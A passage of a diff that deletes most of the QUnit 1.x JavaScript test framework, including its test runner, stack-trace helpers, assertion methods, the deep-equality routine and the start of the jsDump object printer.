-		return true;
-	}
-
-	if ( config.testNumber.length > 0 ) {
-		if ( inArray( test.testNumber, config.testNumber ) < 0 ) {
-			return false;
-		}
-	}
-
-	if ( module && ( !test.module || test.module.toLowerCase() !== module ) ) {
-		return false;
-	}
-
-	if ( !filter ) {
-		return true;
-	}
-
-	include = filter.charAt( 0 ) !== "!";
-	if ( !include ) {
-		filter = filter.slice( 1 );
-	}
-
-	// If the filter matches, we need to honour include
-	if ( fullName.indexOf( filter ) !== -1 ) {
-		return include;
-	}
-
-	// Otherwise, do the opposite
-	return !include;
-}
-
-// so far supports only Firefox, Chrome and Opera (buggy), Safari (for real exceptions)
-// Later Safari and IE10 are supposed to support error.stack as well
-// See also https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Error/Stack
-function extractStacktrace( e, offset ) {
-	offset = offset === undefined ? 3 : offset;
-
-	var stack, include, i;
-
-	if ( e.stacktrace ) {
-		// Opera
-		return e.stacktrace.split( "\n" )[ offset + 3 ];
-	} else if ( e.stack ) {
-		// Firefox, Chrome
-		stack = e.stack.split( "\n" );
-		if (/^error$/i.test( stack[0] ) ) {
-			stack.shift();
-		}
-		if ( fileName ) {
-			include = [];
-			for ( i = offset; i < stack.length; i++ ) {
-				if ( stack[ i ].indexOf( fileName ) !== -1 ) {
-					break;
-				}
-				include.push( stack[ i ] );
-			}
-			if ( include.length ) {
-				return include.join( "\n" );
-			}
-		}
-		return stack[ offset ];
-	} else if ( e.sourceURL ) {
-		// Safari, PhantomJS
-		// hopefully one day Safari provides actual stacktraces
-		// exclude useless self-reference for generated Error objects
-		if ( /qunit.js$/.test( e.sourceURL ) ) {
-			return;
-		}
-		// for actual exceptions, this is useful
-		return e.sourceURL + ":" + e.line;
-	}
-}
-function sourceFromStacktrace( offset ) {
-	try {
-		throw new Error();
-	} catch ( e ) {
-		return extractStacktrace( e, offset );
-	}
-}
-
-/**
- * Escape text for attribute or text content.
- */
-function escapeText( s ) {
-	if ( !s ) {
-		return "";
-	}
-	s = s + "";
-	// Both single quotes and double quotes (for attributes)
-	return s.replace( /['"<>&]/g, function( s ) {
-		switch( s ) {
-			case "'":
-				return "&#039;";
-			case "\"":
-				return "&quot;";
-			case "<":
-				return "&lt;";
-			case ">":
-				return "&gt;";
-			case "&":
-				return "&amp;";
-		}
-	});
-}
-
-function synchronize( callback, last ) {
-	config.queue.push( callback );
-
-	if ( config.autorun && !config.blocking ) {
-		process( last );
-	}
-}
-
-function process( last ) {
-	function next() {
-		process( last );
-	}
-	var start = new Date().getTime();
-	config.depth = config.depth ? config.depth + 1 : 1;
-
-	while ( config.queue.length && !config.blocking ) {
-		if ( !defined.setTimeout || config.updateRate <= 0 || ( ( new Date().getTime() - start ) < config.updateRate ) ) {
-			config.queue.shift()();
-		} else {
-			setTimeout( next, 13 );
-			break;
-		}
-	}
-	config.depth--;
-	if ( last && !config.blocking && !config.queue.length && config.depth === 0 ) {
-		done();
-	}
-}
-
-function saveGlobal() {
-	config.pollution = [];
-
-	if ( config.noglobals ) {
-		for ( var key in window ) {
-			if ( hasOwn.call( window, key ) ) {
-				// in Opera sometimes DOM element ids show up here, ignore them
-				if ( /^qunit-test-output/.test( key ) ) {
-					continue;
-				}
-				config.pollution.push( key );
-			}
-		}
-	}
-}
-
-function checkPollution() {
-	var newGlobals,
-		deletedGlobals,
-		old = config.pollution;
-
-	saveGlobal();
-
-	newGlobals = diff( config.pollution, old );
-	if ( newGlobals.length > 0 ) {
-		QUnit.pushFailure( "Introduced global variable(s): " + newGlobals.join(", ") );
-	}
-
-	deletedGlobals = diff( old, config.pollution );
-	if ( deletedGlobals.length > 0 ) {
-		QUnit.pushFailure( "Deleted global variable(s): " + deletedGlobals.join(", ") );
-	}
-}
-
-// returns a new Array with the elements that are in a but not in b
-function diff( a, b ) {
-	var i, j,
-		result = a.slice();
-
-	for ( i = 0; i < result.length; i++ ) {
-		for ( j = 0; j < b.length; j++ ) {
-			if ( result[i] === b[j] ) {
-				result.splice( i, 1 );
-				i--;
-				break;
-			}
-		}
-	}
-	return result;
-}
-
-function extend( a, b ) {
-	for ( var prop in b ) {
-		if ( hasOwn.call( b, prop ) ) {
-			// Avoid "Member not found" error in IE8 caused by messing with window.constructor
-			if ( !( prop === "constructor" && a === window ) ) {
-				if ( b[ prop ] === undefined ) {
-					delete a[ prop ];
-				} else {
-					a[ prop ] = b[ prop ];
-				}
-			}
-		}
-	}
-
-	return a;
-}
-
-/**
- * @param {HTMLElement} elem
- * @param {string} type
- * @param {Function} fn
- */
-function addEvent( elem, type, fn ) {
-	if ( elem.addEventListener ) {
-
-		// Standards-based browsers
-		elem.addEventListener( type, fn, false );
-	} else if ( elem.attachEvent ) {
-
-		// support: IE <9
-		elem.attachEvent( "on" + type, fn );
-	} else {
-
-		// Caller must ensure support for event listeners is present
-		throw new Error( "addEvent() was called in a context without event listener support" );
-	}
-}
-
-/**
- * @param {Array|NodeList} elems
- * @param {string} type
- * @param {Function} fn
- */
-function addEvents( elems, type, fn ) {
-	var i = elems.length;
-	while ( i-- ) {
-		addEvent( elems[i], type, fn );
-	}
-}
-
-function hasClass( elem, name ) {
-	return (" " + elem.className + " ").indexOf(" " + name + " ") > -1;
-}
-
-function addClass( elem, name ) {
-	if ( !hasClass( elem, name ) ) {
-		elem.className += (elem.className ? " " : "") + name;
-	}
-}
-
-function removeClass( elem, name ) {
-	var set = " " + elem.className + " ";
-	// Class name may appear multiple times
-	while ( set.indexOf(" " + name + " ") > -1 ) {
-		set = set.replace(" " + name + " " , " ");
-	}
-	// If possible, trim it for prettiness, but not necessarily
-	elem.className = typeof set.trim === "function" ? set.trim() : set.replace(/^\s+|\s+$/g, "");
-}
-
-function id( name ) {
-	return defined.document && document.getElementById && document.getElementById( name );
-}
-
-function registerLoggingCallback( key ) {
-	return function( callback ) {
-		config[key].push( callback );
-	};
-}
-
-// Supports deprecated method of completely overwriting logging callbacks
-function runLoggingCallbacks( key, scope, args ) {
-	var i, callbacks;
-	if ( QUnit.hasOwnProperty( key ) ) {
-		QUnit[ key ].call(scope, args );
-	} else {
-		callbacks = config[ key ];
-		for ( i = 0; i < callbacks.length; i++ ) {
-			callbacks[ i ].call( scope, args );
-		}
-	}
-}
-
-// from jquery.js
-function inArray( elem, array ) {
-	if ( array.indexOf ) {
-		return array.indexOf( elem );
-	}
-
-	for ( var i = 0, length = array.length; i < length; i++ ) {
-		if ( array[ i ] === elem ) {
-			return i;
-		}
-	}
-
-	return -1;
-}
-
-function Test( settings ) {
-	extend( this, settings );
-	this.assertions = [];
-	this.testNumber = ++Test.count;
-}
-
-Test.count = 0;
-
-Test.prototype = {
-	init: function() {
-		var a, b, li,
-			tests = id( "qunit-tests" );
-
-		if ( tests ) {
-			b = document.createElement( "strong" );
-			b.innerHTML = this.nameHtml;
-
-			// `a` initialized at top of scope
-			a = document.createElement( "a" );
-			a.innerHTML = "Rerun";
-			a.href = QUnit.url({ testNumber: this.testNumber });
-
-			li = document.createElement( "li" );
-			li.appendChild( b );
-			li.appendChild( a );
-			li.className = "running";
-			li.id = this.id = "qunit-test-output" + testId++;
-
-			tests.appendChild( li );
-		}
-	},
-	setup: function() {
-		if (
-			// Emit moduleStart when we're switching from one module to another
-			this.module !== config.previousModule ||
-				// They could be equal (both undefined) but if the previousModule property doesn't
-				// yet exist it means this is the first test in a suite that isn't wrapped in a
-				// module, in which case we'll just emit a moduleStart event for 'undefined'.
-				// Without this, reporters can get testStart before moduleStart  which is a problem.
-				!hasOwn.call( config, "previousModule" )
-		) {
-			if ( hasOwn.call( config, "previousModule" ) ) {
-				runLoggingCallbacks( "moduleDone", QUnit, {
-					name: config.previousModule,
-					failed: config.moduleStats.bad,
-					passed: config.moduleStats.all - config.moduleStats.bad,
-					total: config.moduleStats.all
-				});
-			}
-			config.previousModule = this.module;
-			config.moduleStats = { all: 0, bad: 0 };
-			runLoggingCallbacks( "moduleStart", QUnit, {
-				name: this.module
-			});
-		}
-
-		config.current = this;
-
-		this.testEnvironment = extend({
-			setup: function() {},
-			teardown: function() {}
-		}, this.moduleTestEnvironment );
-
-		this.started = +new Date();
-		runLoggingCallbacks( "testStart", QUnit, {
-			name: this.testName,
-			module: this.module
-		});
-
-		/*jshint camelcase:false */
-
-
-		/**
-		 * Expose the current test environment.
-		 *
-		 * @deprecated since 1.12.0: Use QUnit.config.current.testEnvironment instead.
-		 */
-		QUnit.current_testEnvironment = this.testEnvironment;
-
-		/*jshint camelcase:true */
-
-		if ( !config.pollution ) {
-			saveGlobal();
-		}
-		if ( config.notrycatch ) {
-			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
-			return;
-		}
-		try {
-			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
-		} catch( e ) {
-			QUnit.pushFailure( "Setup failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
-		}
-	},
-	run: function() {
-		config.current = this;
-
-		var running = id( "qunit-testresult" );
-
-		if ( running ) {
-			running.innerHTML = "Running: <br/>" + this.nameHtml;
-		}
-
-		if ( this.async ) {
-			QUnit.stop();
-		}
-
-		this.callbackStarted = +new Date();
-
-		if ( config.notrycatch ) {
-			this.callback.call( this.testEnvironment, QUnit.assert );
-			this.callbackRuntime = +new Date() - this.callbackStarted;
-			return;
-		}
-
-		try {
-			this.callback.call( this.testEnvironment, QUnit.assert );
-			this.callbackRuntime = +new Date() - this.callbackStarted;
-		} catch( e ) {
-			this.callbackRuntime = +new Date() - this.callbackStarted;
-
-			QUnit.pushFailure( "Died on test #" + (this.assertions.length + 1) + " " + this.stack + ": " + ( e.message || e ), extractStacktrace( e, 0 ) );
-			// else next test will carry the responsibility
-			saveGlobal();
-
-			// Restart the tests if they're blocking
-			if ( config.blocking ) {
-				QUnit.start();
-			}
-		}
-	},
-	teardown: function() {
-		config.current = this;
-		if ( config.notrycatch ) {
-			if ( typeof this.callbackRuntime === "undefined" ) {
-				this.callbackRuntime = +new Date() - this.callbackStarted;
-			}
-			this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
-			return;
-		} else {
-			try {
-				this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
-			} catch( e ) {
-				QUnit.pushFailure( "Teardown failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
-			}
-		}
-		checkPollution();
-	},
-	finish: function() {
-		config.current = this;
-		if ( config.requireExpects && this.expected === null ) {
-			QUnit.pushFailure( "Expected number of assertions to be defined, but expect() was not called.", this.stack );
-		} else if ( this.expected !== null && this.expected !== this.assertions.length ) {
-			QUnit.pushFailure( "Expected " + this.expected + " assertions, but " + this.assertions.length + " were run", this.stack );
-		} else if ( this.expected === null && !this.assertions.length ) {
-			QUnit.pushFailure( "Expected at least one assertion, but none were run - call expect(0) to accept zero assertions.", this.stack );
-		}
-
-		var i, assertion, a, b, time, li, ol,
-			test = this,
-			good = 0,
-			bad = 0,
-			tests = id( "qunit-tests" );
-
-		this.runtime = +new Date() - this.started;
-		config.stats.all += this.assertions.length;
-		config.moduleStats.all += this.assertions.length;
-
-		if ( tests ) {
-			ol = document.createElement( "ol" );
-			ol.className = "qunit-assert-list";
-
-			for ( i = 0; i < this.assertions.length; i++ ) {
-				assertion = this.assertions[i];
-
-				li = document.createElement( "li" );
-				li.className = assertion.result ? "pass" : "fail";
-				li.innerHTML = assertion.message || ( assertion.result ? "okay" : "failed" );
-				ol.appendChild( li );
-
-				if ( assertion.result ) {
-					good++;
-				} else {
-					bad++;
-					config.stats.bad++;
-					config.moduleStats.bad++;
-				}
-			}
-
-			// store result when possible
-			if ( QUnit.config.reorder && defined.sessionStorage ) {
-				if ( bad ) {
-					sessionStorage.setItem( "qunit-test-" + this.module + "-" + this.testName, bad );
-				} else {
-					sessionStorage.removeItem( "qunit-test-" + this.module + "-" + this.testName );
-				}
-			}
-
-			if ( bad === 0 ) {
-				addClass( ol, "qunit-collapsed" );
-			}
-
-			// `b` initialized at top of scope
-			b = document.createElement( "strong" );
-			b.innerHTML = this.nameHtml + " <b class='counts'>(<b class='failed'>" + bad + "</b>, <b class='passed'>" + good + "</b>, " + this.assertions.length + ")</b>";
-
-			addEvent(b, "click", function() {
-				var next = b.parentNode.lastChild,
-					collapsed = hasClass( next, "qunit-collapsed" );
-				( collapsed ? removeClass : addClass )( next, "qunit-collapsed" );
-			});
-
-			addEvent(b, "dblclick", function( e ) {
-				var target = e && e.target ? e.target : window.event.srcElement;
-				if ( target.nodeName.toLowerCase() === "span" || target.nodeName.toLowerCase() === "b" ) {
-					target = target.parentNode;
-				}
-				if ( window.location && target.nodeName.toLowerCase() === "strong" ) {
-					window.location = QUnit.url({ testNumber: test.testNumber });
-				}
-			});
-
-			// `time` initialized at top of scope
-			time = document.createElement( "span" );
-			time.className = "runtime";
-			time.innerHTML = this.runtime + " ms";
-
-			// `li` initialized at top of scope
-			li = id( this.id );
-			li.className = bad ? "fail" : "pass";
-			li.removeChild( li.firstChild );
-			a = li.firstChild;
-			li.appendChild( b );
-			li.appendChild( a );
-			li.appendChild( time );
-			li.appendChild( ol );
-
-		} else {
-			for ( i = 0; i < this.assertions.length; i++ ) {
-				if ( !this.assertions[i].result ) {
-					bad++;
-					config.stats.bad++;
-					config.moduleStats.bad++;
-				}
-			}
-		}
-
-		runLoggingCallbacks( "testDone", QUnit, {
-			name: this.testName,
-			module: this.module,
-			failed: bad,
-			passed: this.assertions.length - bad,
-			total: this.assertions.length,
-			runtime: this.runtime,
-			// DEPRECATED: this property will be removed in 2.0.0, use runtime instead
-			duration: this.runtime
-		});
-
-		QUnit.reset();
-
-		config.current = undefined;
-	},
-
-	queue: function() {
-		var bad,
-			test = this;
-
-		synchronize(function() {
-			test.init();
-		});
-		function run() {
-			// each of these can by async
-			synchronize(function() {
-				test.setup();
-			});
-			synchronize(function() {
-				test.run();
-			});
-			synchronize(function() {
-				test.teardown();
-			});
-			synchronize(function() {
-				test.finish();
-			});
-		}
-
-		// `bad` initialized at top of scope
-		// defer when previous test run passed, if storage is available
-		bad = QUnit.config.reorder && defined.sessionStorage &&
-						+sessionStorage.getItem( "qunit-test-" + this.module + "-" + this.testName );
-
-		if ( bad ) {
-			run();
-		} else {
-			synchronize( run, true );
-		}
-	}
-};
-
-// `assert` initialized at top of scope
-// Assert helpers
-// All of these must either call QUnit.push() or manually do:
-// - runLoggingCallbacks( "log", .. );
-// - config.current.assertions.push({ .. });
-assert = QUnit.assert = {
-	/**
-	 * Asserts rough true-ish result.
-	 * @name ok
-	 * @function
-	 * @example ok( "asdfasdf".length > 5, "There must be at least 5 chars" );
-	 */
-	ok: function( result, msg ) {
-		if ( !config.current ) {
-			throw new Error( "ok() assertion outside test context, was " + sourceFromStacktrace(2) );
-		}
-		result = !!result;
-		msg = msg || ( result ? "okay" : "failed" );
-
-		var source,
-			details = {
-				module: config.current.module,
-				name: config.current.testName,
-				result: result,
-				message: msg
-			};
-
-		msg = "<span class='test-message'>" + escapeText( msg ) + "</span>";
-
-		if ( !result ) {
-			source = sourceFromStacktrace( 2 );
-			if ( source ) {
-				details.source = source;
-				msg += "<table><tr class='test-source'><th>Source: </th><td><pre>" +
-					escapeText( source ) +
-					"</pre></td></tr></table>";
-			}
-		}
-		runLoggingCallbacks( "log", QUnit, details );
-		config.current.assertions.push({
-			result: result,
-			message: msg
-		});
-	},
-
-	/**
-	 * Assert that the first two arguments are equal, with an optional message.
-	 * Prints out both actual and expected values.
-	 * @name equal
-	 * @function
-	 * @example equal( format( "Received {0} bytes.", 2), "Received 2 bytes.", "format() replaces {0} with next argument" );
-	 */
-	equal: function( actual, expected, message ) {
-		/*jshint eqeqeq:false */
-		QUnit.push( expected == actual, actual, expected, message );
-	},
-
-	/**
-	 * @name notEqual
-	 * @function
-	 */
-	notEqual: function( actual, expected, message ) {
-		/*jshint eqeqeq:false */
-		QUnit.push( expected != actual, actual, expected, message );
-	},
-
-	/**
-	 * @name propEqual
-	 * @function
-	 */
-	propEqual: function( actual, expected, message ) {
-		actual = objectValues(actual);
-		expected = objectValues(expected);
-		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
-	},
-
-	/**
-	 * @name notPropEqual
-	 * @function
-	 */
-	notPropEqual: function( actual, expected, message ) {
-		actual = objectValues(actual);
-		expected = objectValues(expected);
-		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
-	},
-
-	/**
-	 * @name deepEqual
-	 * @function
-	 */
-	deepEqual: function( actual, expected, message ) {
-		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
-	},
-
-	/**
-	 * @name notDeepEqual
-	 * @function
-	 */
-	notDeepEqual: function( actual, expected, message ) {
-		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
-	},
-
-	/**
-	 * @name strictEqual
-	 * @function
-	 */
-	strictEqual: function( actual, expected, message ) {
-		QUnit.push( expected === actual, actual, expected, message );
-	},
-
-	/**
-	 * @name notStrictEqual
-	 * @function
-	 */
-	notStrictEqual: function( actual, expected, message ) {
-		QUnit.push( expected !== actual, actual, expected, message );
-	},
-
-	"throws": function( block, expected, message ) {
-		var actual,
-			expectedOutput = expected,
-			ok = false;
-
-		// 'expected' is optional
-		if ( !message && typeof expected === "string" ) {
-			message = expected;
-			expected = null;
-		}
-
-		config.current.ignoreGlobalErrors = true;
-		try {
-			block.call( config.current.testEnvironment );
-		} catch (e) {
-			actual = e;
-		}
-		config.current.ignoreGlobalErrors = false;
-
-		if ( actual ) {
-
-			// we don't want to validate thrown error
-			if ( !expected ) {
-				ok = true;
-				expectedOutput = null;
-
-			// expected is an Error object
-			} else if ( expected instanceof Error ) {
-				ok = actual instanceof Error &&
-					 actual.name === expected.name &&
-					 actual.message === expected.message;
-
-			// expected is a regexp
-			} else if ( QUnit.objectType( expected ) === "regexp" ) {
-				ok = expected.test( errorString( actual ) );
-
-			// expected is a string
-			} else if ( QUnit.objectType( expected ) === "string" ) {
-				ok = expected === errorString( actual );
-
-			// expected is a constructor
-			} else if ( actual instanceof expected ) {
-				ok = true;
-
-			// expected is a validation function which returns true is validation passed
-			} else if ( expected.call( {}, actual ) === true ) {
-				expectedOutput = null;
-				ok = true;
-			}
-
-			QUnit.push( ok, actual, expectedOutput, message );
-		} else {
-			QUnit.pushFailure( message, null, "No exception was thrown." );
-		}
-	}
-};
-
-/**
- * @deprecated since 1.8.0
- * Kept assertion helpers in root for backwards compatibility.
- */
-extend( QUnit.constructor.prototype, assert );
-
-/**
- * @deprecated since 1.9.0
- * Kept to avoid TypeErrors for undefined methods.
- */
-QUnit.constructor.prototype.raises = function() {
-	QUnit.push( false, false, false, "QUnit.raises has been deprecated since 2012 (fad3c1ea), use QUnit.throws instead" );
-};
-
-/**
- * @deprecated since 1.0.0, replaced with error pushes since 1.3.0
- * Kept to avoid TypeErrors for undefined methods.
- */
-QUnit.constructor.prototype.equals = function() {
-	QUnit.push( false, false, false, "QUnit.equals has been deprecated since 2009 (e88049a0), use QUnit.equal instead" );
-};
-QUnit.constructor.prototype.same = function() {
-	QUnit.push( false, false, false, "QUnit.same has been deprecated since 2009 (e88049a0), use QUnit.deepEqual instead" );
-};
-
-// Test for equality any JavaScript type.
-// Author: Philippe Rathé <prathe@gmail.com>
-QUnit.equiv = (function() {
-
-	// Call the o related callback with the given arguments.
-	function bindCallbacks( o, callbacks, args ) {
-		var prop = QUnit.objectType( o );
-		if ( prop ) {
-			if ( QUnit.objectType( callbacks[ prop ] ) === "function" ) {
-				return callbacks[ prop ].apply( callbacks, args );
-			} else {
-				return callbacks[ prop ]; // or undefined
-			}
-		}
-	}
-
-	// the real equiv function
-	var innerEquiv,
-		// stack to decide between skip/abort functions
-		callers = [],
-		// stack to avoiding loops from circular referencing
-		parents = [],
-		parentsB = [],
-
-		getProto = Object.getPrototypeOf || function ( obj ) {
-			/*jshint camelcase:false */
-			return obj.__proto__;
-		},
-		callbacks = (function () {
-
-			// for string, boolean, number and null
-			function useStrictEquality( b, a ) {
-				/*jshint eqeqeq:false */
-				if ( b instanceof a.constructor || a instanceof b.constructor ) {
-					// to catch short annotation VS 'new' annotation of a
-					// declaration
-					// e.g. var i = 1;
-					// var j = new Number(1);
-					return a == b;
-				} else {
-					return a === b;
-				}
-			}
-
-			return {
-				"string": useStrictEquality,
-				"boolean": useStrictEquality,
-				"number": useStrictEquality,
-				"null": useStrictEquality,
-				"undefined": useStrictEquality,
-
-				"nan": function( b ) {
-					return isNaN( b );
-				},
-
-				"date": function( b, a ) {
-					return QUnit.objectType( b ) === "date" && a.valueOf() === b.valueOf();
-				},
-
-				"regexp": function( b, a ) {
-					return QUnit.objectType( b ) === "regexp" &&
-						// the regex itself
-						a.source === b.source &&
-						// and its modifiers
-						a.global === b.global &&
-						// (gmi) ...
-						a.ignoreCase === b.ignoreCase &&
-						a.multiline === b.multiline &&
-						a.sticky === b.sticky;
-				},
-
-				// - skip when the property is a method of an instance (OOP)
-				// - abort otherwise,
-				// initial === would have catch identical references anyway
-				"function": function() {
-					var caller = callers[callers.length - 1];
-					return caller !== Object && typeof caller !== "undefined";
-				},
-
-				"array": function( b, a ) {
-					var i, j, len, loop, aCircular, bCircular;
-
-					// b could be an object literal here
-					if ( QUnit.objectType( b ) !== "array" ) {
-						return false;
-					}
-
-					len = a.length;
-					if ( len !== b.length ) {
-						// safe and faster
-						return false;
-					}
-
-					// track reference to avoid circular references
-					parents.push( a );
-					parentsB.push( b );
-					for ( i = 0; i < len; i++ ) {
-						loop = false;
-						for ( j = 0; j < parents.length; j++ ) {
-							aCircular = parents[j] === a[i];
-							bCircular = parentsB[j] === b[i];
-							if ( aCircular || bCircular ) {
-								if ( a[i] === b[i] || aCircular && bCircular ) {
-									loop = true;
-								} else {
-									parents.pop();
-									parentsB.pop();
-									return false;
-								}
-							}
-						}
-						if ( !loop && !innerEquiv(a[i], b[i]) ) {
-							parents.pop();
-							parentsB.pop();
-							return false;
-						}
-					}
-					parents.pop();
-					parentsB.pop();
-					return true;
-				},
-
-				"object": function( b, a ) {
-					/*jshint forin:false */
-					var i, j, loop, aCircular, bCircular,
-						// Default to true
-						eq = true,
-						aProperties = [],
-						bProperties = [];
-
-					// comparing constructors is more strict than using
-					// instanceof
-					if ( a.constructor !== b.constructor ) {
-						// Allow objects with no prototype to be equivalent to
-						// objects with Object as their constructor.
-						if ( !(( getProto(a) === null && getProto(b) === Object.prototype ) ||
-							( getProto(b) === null && getProto(a) === Object.prototype ) ) ) {
-								return false;
-						}
-					}
-
-					// stack constructor before traversing properties
-					callers.push( a.constructor );
-
-					// track reference to avoid circular references
-					parents.push( a );
-					parentsB.push( b );
-
-					// be strict: don't ensure hasOwnProperty and go deep
-					for ( i in a ) {
-						loop = false;
-						for ( j = 0; j < parents.length; j++ ) {
-							aCircular = parents[j] === a[i];
-							bCircular = parentsB[j] === b[i];
-							if ( aCircular || bCircular ) {
-								if ( a[i] === b[i] || aCircular && bCircular ) {
-									loop = true;
-								} else {
-									eq = false;
-									break;
-								}
-							}
-						}
-						aProperties.push(i);
-						if ( !loop && !innerEquiv(a[i], b[i]) ) {
-							eq = false;
-							break;
-						}
-					}
-
-					parents.pop();
-					parentsB.pop();
-					callers.pop(); // unstack, we are done
-
-					for ( i in b ) {
-						bProperties.push( i ); // collect b's properties
-					}
-
-					// Ensures identical properties name
-					return eq && innerEquiv( aProperties.sort(), bProperties.sort() );
-				}
-			};
-		}());
-
-	innerEquiv = function() { // can take multiple arguments
-		var args = [].slice.apply( arguments );
-		if ( args.length < 2 ) {
-			return true; // end transition
-		}
-
-		return (function( a, b ) {
-			if ( a === b ) {
-				return true; // catch the most you can
-			} else if ( a === null || b === null || typeof a === "undefined" ||
-					typeof b === "undefined" ||
-					QUnit.objectType(a) !== QUnit.objectType(b) ) {
-				return false; // don't lose time with error prone cases
-			} else {
-				return bindCallbacks(a, callbacks, [ b, a ]);
-			}
-
-			// apply transition with (1..n) arguments
-		}( args[0], args[1] ) && innerEquiv.apply( this, args.splice(1, args.length - 1 )) );
-	};
-
-	return innerEquiv;
-}());
-
-/**
- * jsDump Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com |
- * http://flesler.blogspot.com Licensed under BSD
- * (http://www.opensource.org/licenses/bsd-license.php) Date: 5/15/2008
- *
- * @projectDescription Advanced and extensible data dumping for Javascript.
- * @version 1.0.0
- * @author Ariel Flesler
- * @link {http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html}
- */
-QUnit.jsDump = (function() {
-	function quote( str ) {
-		return "\"" + str.toString().replace( /"/g, "\\\"" ) + "\"";
-	}
-	function literal( o ) {
-		return o + "";
-	}
-	function join( pre, arr, post ) {
-		var s = jsDump.separator(),
-			base = jsDump.indent(),
-			inner = jsDump.indent(1);
-		if ( arr.join ) {
-			arr = arr.join( "," + s + inner );
-		}
-		if ( !arr ) {
-			return pre + post;
-		}
-		return [ pre, inner + arr, base + post ].join(s);
-	}
-	function array( arr, stack ) {
-		var i = arr.length, ret = new Array(i);
-		this.up();
-		while ( i-- ) {
-			ret[i] = this.parse( arr[i] , undefined , stack);
-		}
-		this.down();
-		return join( "[", ret, "]" );
-	}
-
-	var reName = /^function (\w+)/,
-		jsDump = {
-			// type is used mostly internally, you can fix a (custom)type in advance
-			parse: function( obj, type, stack ) {
-				stack = stack || [ ];
-				var inStack, res,
-					parser = this.parsers[ type || this.typeOf(obj) ];
-
-				type = typeof parser;
-				inStack = inArray( obj, stack );
-
-				if ( inStack !== -1 ) {
-					return "recursion(" + (inStack - stack.length) + ")";
-				}
-				if ( type === "function" )  {
-					stack.push( obj );
-					res = parser.call( this, obj, stack );
-					stack.pop();
-					return res;
-				}
-				return ( type === "string" ) ? parser : this.parsers.error;
-			},
-			typeOf: function( obj ) {
-				var type;
-				if ( obj === null ) {
-					type = "null";
-				} else if ( typeof obj === "undefined" ) {
-					type = "undefined";
-				} else if ( QUnit.is( "regexp", obj) ) {
-					type = "regexp";
-				} else if ( QUnit.is( "date", obj) ) {
-					type = "date";
-				} else if ( QUnit.is( "function", obj) ) {
-					type = "function";
-				} else if ( typeof obj.setInterval !== undefined && typeof obj.document !== "undefined" && typeof obj.nodeType === "undefined" ) {
-					type = "window";
-				} else if ( obj.nodeType === 9 ) {
-					type = "document";
-				} else if ( obj.nodeType ) {
-					type = "node";
-				} else if (
-					// native arrays
-					toString.call( obj ) === "[object Array]" ||
-					// NodeList objects
-					( typeof obj.length === "number" && typeof obj.item !== "undefined" && ( obj.length ? obj.item(0) === obj[0] : ( obj.item( 0 ) === null && typeof obj[0] === "undefined" ) ) )
-				) {
-					type = "array";
-				} else if ( obj.constructor === Error.prototype.constructor ) {
-					type = "error";
-				} else {
-					type = typeof obj;
-				}
-				return type;
-			},
-			separator: function() {
-				return this.multiline ?	this.HTML ? "<br />" : "\n" : this.HTML ? "&nbsp;" : " ";
-			},
-			// extra can be a number, shortcut for increasing-calling-decreasing
-			indent: function( extra ) {
-				if ( !this.multiline ) {
-					return "";
-				}
-				var chr = this.indentChar;
-				if ( this.HTML ) {
-					chr = chr.replace( /\t/g, "   " ).replace( / /g, "&nbsp;" );
-				}
-				return new Array( this.depth + ( extra || 0 ) ).join(chr);
-			},
-			up: function( a ) {
-				this.depth += a || 1;
-			},
-			down: function( a ) {
-				this.depth -= a || 1;
-			},
-			setParser: function( name, parser ) {
-				this.parsers[name] = parser;
-			},
-			// The next 3 are exposed so you can use them
-			quote: quote,
-			literal: literal,
-			join: join,
-			//
-			depth: 1,
-			// This is the list of parsers, to modify them, use jsDump.setParser
-			parsers: {
-				window: "[Window]",
-				document: "[Document]",
-				error: function(error) {
-					return "Error(\"" + error.message + "\")";
-				},
-				unknown: "[Unknown]",
-				"null": "null",
-				"undefined": "undefined",
-				"function": function( fn ) {
-					var ret = "function",
-						// functions never have name in IE
-						name = "name" in fn ? fn.name : (reName.exec(fn) || [])[1];
-
-					if ( name ) {
-						ret += " " + name;
-					}
-					ret += "( ";
-
-					ret = [ ret, QUnit.jsDump.parse( fn, "functionArgs" ), "){" ].join( "" );
-					return join( ret, QUnit.jsDump.parse(fn,"functionCode" ), "}" );
-				},
-				array: array,
-				nodelist: array,
-				"arguments": array,
-				object: function( map, stack ) {
-					/*jshint forin:false */
-					var ret = [ ], keys, key, val, i;
-					QUnit.jsDump.up();
-					keys = [];
-					for ( key in map ) {
-						keys.push( key );
-					}
-					keys.sort();
-					for ( i = 0; i < keys.length; i++ ) {
-						key = keys[ i ];
-						val = map[ key ];
-						ret.push( QUnit.jsDump.parse( key, "key" ) + ": " + QUnit.jsDump.parse( val, undefined, stack ) );
-					}
-					QUnit.jsDump.down();
-					return join( "{", ret, "}" );
-				},
-				node: function( node ) {
-					var len, i, val,
-						open = QUnit.jsDump.HTML ? "&lt;" : "<",
-						close = QUnit.jsDump.HTML ? "&gt;" : ">",
-						tag = node.nodeName.toLowerCase(),
-						ret = open + tag,
-						attrs = node.attributes;
-
-					if ( attrs ) {
-						for ( i = 0, len = attrs.length; i < len; i++ ) {
-							val = attrs[i].nodeValue;
-							// IE6 includes all attributes in .attributes, even ones not explicitly set.
-							// Those have values like undefined, null, 0, false, "" or "inherit".
-							if ( val && val !== "inherit" ) {
-								ret += " " + attrs[i].nodeName + "=" + QUnit.jsDump.parse( val, "attribute" );
-							}
-						}
-					}
-					ret += close;
-
-					// Show content of TextNode or CDATASection
-					if ( node.nodeType === 3 || node.nodeType === 4 ) {
-						ret += node.nodeValue;
-					}
-
-					return ret + open + "/" + tag + close;
-				},
-				// function calls it internally, it's the arguments part of the function
-				functionArgs: function( fn ) {
-					var args,
-						l = fn.length;
-
-					if ( !l ) {
-						return "";
-					}
-
-					args = new Array(l);
-					while ( l-- ) {
-						// 97 is 'a'
